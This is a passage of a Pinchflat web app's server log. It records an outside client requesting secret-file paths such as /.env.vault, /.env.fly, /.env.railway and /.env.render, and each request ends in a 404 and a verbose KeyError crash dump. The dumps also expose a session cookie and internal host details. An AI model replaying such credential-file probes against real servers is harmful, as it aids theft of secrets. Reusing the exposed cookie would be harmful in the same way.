AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.vault", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7ALbMk26PAMAATUB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vault", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 213, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.vault", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 213, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:23.465 [info] GET /.env.fly 02:10:23.466 [debug] QUERY OK source="settings" db=0.6ms queue=0.1ms idle=185.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.467 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=123.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.467 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.468 [error] #PID<0.3518.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 214) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.fly ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.fly", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 214, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3518.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.fly", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7AauMo6canUAATVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.fly", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 214, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.fly", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 214, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pi (truncated) 02:10:23.536 [info] GET /.env.railway 02:10:23.536 [debug] QUERY OK source="settings" db=0.4ms idle=192.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.537 [debug] QUERY OK source="settings" db=0.1ms idle=134.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.537 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.537 [error] #PID<0.3519.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 215) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.railway ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.railway", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 215, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3519.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.railway", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7ArpCZC3R1UAATWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.railway", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 215, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.railway", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 215, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, (truncated) 02:10:23.599 [info] GET /.env.render 02:10:23.599 [debug] QUERY OK source="settings" db=0.2ms idle=196.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.600 [debug] QUERY OK source="settings" db=0.1ms idle=133.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:23.600 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:23.600 [error] #PID<0.3520.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 216) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.render ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.render", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 216, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3520.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/.env.render", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk7A6ugltEB2AAATXB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.render", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 216, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.render", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => 